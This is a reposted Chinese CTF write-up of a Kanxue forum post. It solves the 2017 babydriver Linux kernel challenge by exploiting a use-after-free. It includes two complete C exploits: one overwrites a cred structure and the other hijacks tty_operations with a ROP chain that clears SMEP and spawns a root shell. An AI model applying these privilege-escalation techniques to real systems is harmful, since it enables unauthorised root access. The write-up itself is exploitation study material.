linux内核pwn,Linux Kernel Pwn 学习笔记 (UAF)

原标题:Linux Kernel Pwn 学习笔记 (UAF)

84e54d38bf6a4fc45d8caa0b0fe8d1f0.png

本文为看雪论坛优秀文章

看雪论坛作者ID:Vinadiak

0x01 背景知识

UAF漏洞:UAF 漏洞是当我们 free 掉某个指针变量所指向的堆块的时候,未将该指针变量置0,导致该指针依然指着该堆块地址,当我们引用该指针的话,也就引用该指针所所指向的地址。这个漏洞对于开发者很容易忽略,但威力非常强大。

条件竞争:在多线程的环境下,当多个线程同时访问某一个共享代码、变量或文件的时候,就有可能发生条件竞争的漏洞,利用该漏洞可以产生意想不到的效果,不过有时候需要碰撞该漏洞才行,有一定失败几率。(在linux kernel pwn里面一般开了多线程就很有可能是利用条件竞争)。

cred:当我们fork一个新的进程的时候会产生cred结构体,在task_struct中大小为0xa8,注意当cred的uid,gid为0的话,我们就提权成功。

ptmx:当我们open("/dev/ptmx")的时候,会分配一个tty_operation的结构体,覆盖该结构体可以将控制流劫持到我们的代码中。

cr4:控制寄存器,功能之一开启关闭smep和smap保护,只要将cr4寄存器对应SMAP、SMEP保护位置为0即可关闭对应保护,常用mov,cr4,0x6f0。

0x02 2017国赛 babydriver

保护分析

只开启了 nx 保护:

6d3d1b1645a198b50720aca5e32fedce.png

只开启smep,不能ret2usr。

fd3a51bd01d129d00a634abd471d4e9d.png

逻辑分析

ioctl:kfree 掉device_buf,kmalloc用户指定大小的堆块。

9a071ab6d6efd03566bf936b916fccf7.png

babywrite:从用户的buf里面写入到device_buf,大小要小于堆块的大小。

83d61a2f94de92355fce93f3ad3d0717.png

babyread:将device_buf读入到用户指定的buf。

52ed8f4e835d522b1686c8053e2fbe0e.png

babyrelease:kfree 掉指定的 device_buf,但没有置0,UAF 漏洞。

1bb82650de8986736a03f18d8e8d9539.png

0x03 编写EXP

EXP思路1:

1.fd1,fd2打开device;

2.fd1用ioctl 让 device 去 malloc 0xa8大小的堆块后free掉;

3.fork一个新的进程;

4.用fd2将device_buf全都置0;

5.执行system('/bin/sh')。

这里很多人可能看不明白3-5,详细讲下:Linux kernel使用slab分配器来分配堆块,就像fastbin的后进先出一样,当我们fork一个新的进程后,会malloc一个0xa8大小的cred的结构体,此时slab会找到device_buf对应的堆块地址并分配给cred,只要我们用uaf将这个cred对应的uid,gid设置为0,则该进程对应的权限即为root权限,然后执行system("/bin/sh")就会得到shell了。

exp代码如下:

# include

# include

# include

intmain{

intfd1,fd2,id;

charcred[ 0xa8] = { 0};

fd1 = open( "dev/babydev",O_RDWR);

fd2 = open( "dev/babydev",O_RDWR);

ioctl(fd1, 0x10001, 0xa8);

close(fd1);

id = fork;

if(id == 0){

write(fd2,cred, 28);

if(getuid == 0){

printf( "[*]welcome root:n");

system( "/bin/sh");

return0;

}

}

elseif(id < 0){

printf( "[*]fork failn");

}

else{

wait( NULL);

}

close(fd2);

return0;

}

一些编写exp的技巧我已写在 上一篇文章 中。

*点击文字即可跳转文章

EXP思路2:

关闭cr4,然后ret2usr

1.fd1,fd2打开device;

2.fd1用ioctl 让 device 去 malloc 0x2e0大小的堆块后free掉;

3.fd3打开ptmx创建tty_struct到device_buf的地址;

4.fd2读取tty_struct到用户的buf中;

5.利用uaf,让fd2的重写tty_struct,将里面的tty_operation劫持到我们伪造的fake_tty_operation,fake_tty_operation放入rop,使用write的时候即可调用rop;

6.fd3执行write,调用tty_operation[3],这里放入mov,rsp,rax执行栈劫持,rax是我们fake_tty_opeartion的结构体,就可以实现rop了。

9f5d8eea68739bbfd05008fb870f32e8.png

exp代码如下:

//poc.c

//gcc poc.c -o poc -w -static

# include

# include

# include

unsignedlonguser_cs, user_ss, user_eflags,user_sp;

size_tcommit_creds_addr = 0xffffffff810a1420;

size_tprepare_kernel_cred_addr = 0xffffffff810a1810;

void* fake_tty_opera[ 30];

voidshell{

system( "/bin/sh");

}

voidsave_stats{

asm(

"movq %%cs, %0n"

"movq %%ss, %1n"

"movq %%rsp, %3n"

"pushfqn"

"popq %2n"

: "=r"(user_cs), "=r"(user_ss), "=r"(user_eflags), "=r"(user_sp)

:

: "memory"

);

}

voidget_root{

char* (*pkc)( int) = prepare_kernel_cred_addr;

void(*cc)( char*) = commit_creds_addr;

(*cc)((*pkc)( 0));

}

intmain{

intfd1,fd2,fd3,i= 0;

size_tfake_tty_struct[ 4] = { 0};

size_trop[ 20]={ 0};

save_stats;

rop[i++] = 0xffffffff810d238d; //pop_rdi_ret

rop[i++] = 0x6f0;

rop[i++] = 0xffffffff81004d80; //mov_cr4_rdi_pop_rbp_ret

rop[i++] = 0x6161616161;

rop[i++] = ( size_t)get_root;

rop[i++] = 0xffffffff81063694; //swapgs_pop_rbp_ret

rop[i++] = 0x6161616161;

rop[i++] = 0xffffffff814e35ef; // iretq; ret;

rop[i++] = ( size_t)shell;

rop[i++] = user_cs;

rop[i++] = user_eflags;

rop[i++] = user_sp;

rop[i++] = user_ss;

for(i = 0; i < 30; i++)

{

fake_tty_opera[i] = 0xffffffff8181bfc5; //pop rax,pop rbp,ret

}

pop rax; pop rbp; ret;

fake_tty_opera[ 0] = 0xffffffff810635f5;

fake_tty_opera[ 1] = ( size_t)rop;

//当调用write时,就会指向3,此时mov rsp,rax ; dec ebx ; ret

//执行完后,rsp=fake_tty_opera[0],就会执行从我们构造的栈,执行了。

fake_tty_opera[ 3] = 0xffffffff8181bfC5;

fake_tty_opera[ 7] = 0xffffffff8181bfc5;

fd1 = open( "/dev/babydev",O_RDWR);

fd2 = open( "/dev/babydev",O_RDWR);

ioctl(fd1, 0x10001, 0x2e0);

close(fd1);

fd3 = open( "/dev/ptmx",O_RDWR|O_NOCTTY);

read(fd2, fake_tty_struct, 32);

fake_tty_struct[ 3] = ( size_t)fake_tty_opera;

write(fd2,fake_tty_struct, 32);

write(fd3, "cc-sir", 6); //触发rop

return0;

}

0x04 总结

Linux Kernel Pwn不只是commit_creds(prepare_kernel_cred(0))这一条路,条条道路通罗马,要想对Linux Kernel完全渗透利用,必须要对Linux操作系统和内核源码理想透彻。

题目下载地址:

https://github.com/Vinadiak/LinuxKernelPwn/tree/master/2017%20babydriver

d6b3b1ab719bc5060e3924a557de6416.png

看雪ID:Vinadiak

*本文由看雪论坛 Vinadiak 原创,转载请注明来自看雪社区

戳“阅读原文 ”一起来充电吧!返回搜狐,查看更多

责任编辑:

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/265387.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

NXP(I.MX6uLL)DDR3实验——DDR发展历史

目录何为RAM 和ROMSRAM 简介①、地址线②、数据线③、控制线SDRAM 简介①、控制线(时钟、片选)②、A10 地址线③、地址线④、BANK 选择线⑤、BANK 区域⑥、数据线⑦、高低字节选择DDR 简介①、控制线②、地址线③、BANK 选择线④、BANK 区域⑤、数据线⑥、数据选通引脚⑦、数据…

Mongodb千万级数据在python下的综合压力测试及应用探讨

见原文章&#xff0e;http://cloud.51cto.com/art/201311/418290.htm转载于:https://blog.51cto.com/chensanxin/1330941

linux 内核驱动的名字,Linux内核驱动的的platform机制

接下来来看platform_driver结构体的原型定义&#xff0c;在include/linux/platform_device.h中&#xff0c;代码如下&#xff1a;struct platform_driver {int (*probe)(struct platform_device *);int (*remove)(struct platform_device *);void (*shutdown)(struct platform_…

超赞!12套你没见过的社交媒体 社交网站图标

如今&#xff0c;社交网络成为我们信息获取和传播的重要途径&#xff0c;很多网站都有把内容分享到社交媒体的功能。社交媒体图标作为向用户传递信息的重要媒介&#xff0c;不管是在网页还是 Web 应用程序中都非常需要。今天这篇文章和大家分享12套你没见过的社交媒体 & 社…

I2C实验

参考&#xff1a;I2C 总线协议详解 作者&#xff1a;一只青木呀 发布时间&#xff1a;2020-09-21 11:41:25 网址&#xff1a;https://blog.csdn.net/weixin_45309916/article/details/108705297 目录I2C 简介I2C 协议I2C协议有关术语1、起始位2、停止位3、数据传输4、应答信号5…

测试php

/*** 测试guzzle** return void*/public function index(){$client new GuzzleHttp\Client();//12306抓取票价$request new Request(get, https://kyfw.12306.cn/otn/leftTicket/query?leftTicketDTO.train_date2018-12-14&leftTicketDTO.from_stationZZF&leftTicke…

linux安装ffmpeg版本太多,Linux安装FFmpeg的方法

FFmpeg是一款优秀的播放器解码插件&#xff0c;可以跨平台&#xff0c;有不同平台的版本&#xff0c;对于解码&#xff0c;编码和录制以及转换作用的很多的软件都是使用FFmpeg的插件来实现的.FFmpeg&#xff1a;https://www.ffmpeg.org/download.html安装方法&#xff1a;#wget…

大学生成绩管理系统(C语言)

功能&#xff1a;成绩管理系统包含了学生的全部信息&#xff0c;每个学生是一个记录&#xff0c;包括学号&#xff0c;姓名&#xff0c;性别&#xff0c;班级&#xff0c;各科成绩&#xff08;语数外&#xff09;。 系统功能: 1.信息录入——录入学生信息&#xff1b; 2.信息输…

官方系统镜像烧写(windows下使用OTG)

目录OTG系统烧写为什么能通过VBS将系统烧写进去呢&#xff1f;OTG系统烧写 选择对应的烧写工具&#xff0c;USB_OTG线连接好&#xff0c;双击即可进行烧写。 注意&#xff1a; 当然也可以烧写到SD卡里面。前面我们烧写裸机代码都是选择从SD卡启动。Mfgtool这个工具先向板子下载…

SQL Server中通用数据库角色权限的处理详解

SQL Server中通用数据库角色权限的处理详解 前言 安全性是所有数据库管理系统的一个重要特征。理解安全性问题是理解数据库管理系统安全性机制的前提。 最近和同事在做数据库权限清理的事情&#xff0c;主要是删除一些账号&#xff1b;取消一些账号的较大的权限等&#xff0c;例…

linux之xargs命令用途

实现文件删除的方法大致有以下几种&#xff1a;1&#xff0e;rm find /a -type f 2&#xff0e;find /a -type f -exec|-ok rm -rf { } \;3&#xff0e;find /a -type f -exec|-ok rm -rf { } ;本例中xargs将find产生的长串文件列表拆散成多个子串&#xff0c;然后…

什么是U-Boot以及如何下载U-Boot源码

参考&#xff1a;什么是U-Boot以及如何下载U-Boot源码&#xff1f; 作者&#xff1a;一只青木呀 发布时间&#xff1a; 2020-10-20 11:05:59 网址&#xff1a;https://blog.csdn.net/weixin_45309916/article/details/109176510 目录前言系统的启动过程uboot简介uboot源码下载选…

linux系统重装win系统教程,Win10如何重装linux系统 Win10重装linux系统教程

Windows10如何重装linux系统?下面小编就给大家介绍一下Win10重装linux系统教程。1、我们按下wini打开设置 后点击【更新和安全】->【windows更新】;2、我们在左侧点击【针对开发人员】&#xff0c;在右侧点击【发开人员模式】;3、我们按winx键->选择【程序和功能】;4、我…

通过Docker发布RestAPI遇到的种种问题

目标&#xff1a;发布一个分词API 问题1&#xff1a;Docker外无法访问API 原因&#xff1a; Docker映射的地址是0.0.0.0:8888端口&#xff0c;而flask启动的时候默认地址是127.0.0.1:5000&#xff0c;需要手动配置一下 问题2&#xff1a;使用curl命令访问接口不成功 原因&#…

Uboot初次编译、烧写、启动(启动界面log简析)

目录U-Boot 初次编译U-Boot 烧写与启动上述笔记第三点就是建立shell脚本实现的 第四点就是修改Makefile文件实现的&#xff0c;下面均有实现步骤讲解。 U-Boot 初次编译 先编译体验一下正点原子提供的UBOOT。 首先在Ubuntu 中安装ncurses 库&#xff0c;否则编译会报错&#…

Mysq常用语句2

一)创建&#xff0c;删除和最基本查询&#xff1a;显示数据库 mysql->show databases;创建数据库 mysql->create database db;删除数据库  mysql->drop database db;选择数据库 mysql->use db创建表 mysql->create table mytable(name va…

360 linux 扩展文件夹,360签具名工Linux下载0907 官方版

腾牛网提供的这款360签名工具Linux版&#xff0c;共有两个版本&#xff0c;分别是图形界面版和命令行界面版&#xff0c;两种选择为apk签名具有一样的正版效果。相关下载&#xff1a;360加固助手pc端Linux签名工具使用流程(图形界面)使用方法&#xff1a;一、准备工作&#xff…

锁优化

前言 高效并发是从JDK1.5到JDK1.6的一个重要改进&#xff0c;HotSpot虚拟机开发团队在这个版本上花费了大量的精力去实现各种锁优化技术&#xff0c;如适应性自旋、锁消除、锁粗化、轻量级锁和偏向锁等&#xff0c;这些技术都是为了在线程之间高效的共享数据&#xff0c;以及解…

WPF--ComboBox数据绑定

0-在ComboBox中显示图片&#xff1a; <ComboBox Height"33" HorizontalAlignment"Right" Margin"0,94,31,0" x:Name"comboBox1" VerticalAlignment"Top" Width"142" SelectedIndex"0"> <Co…

linux系统lsmod命令,linux lsmod命令 及相关信息

语法&#xff1a;lsmod功能&#xff1a;lsmod命令&#xff1a;是一个小程序&#xff0c;用来显示文件、proc/modules的信息&#xff0c;也就是显示当前内核模块装载的模块。补充说明&#xff1a;执行lsmod指令&#xff0c;会列出所有已载入系统的模块。Linux操作系统的核心具有…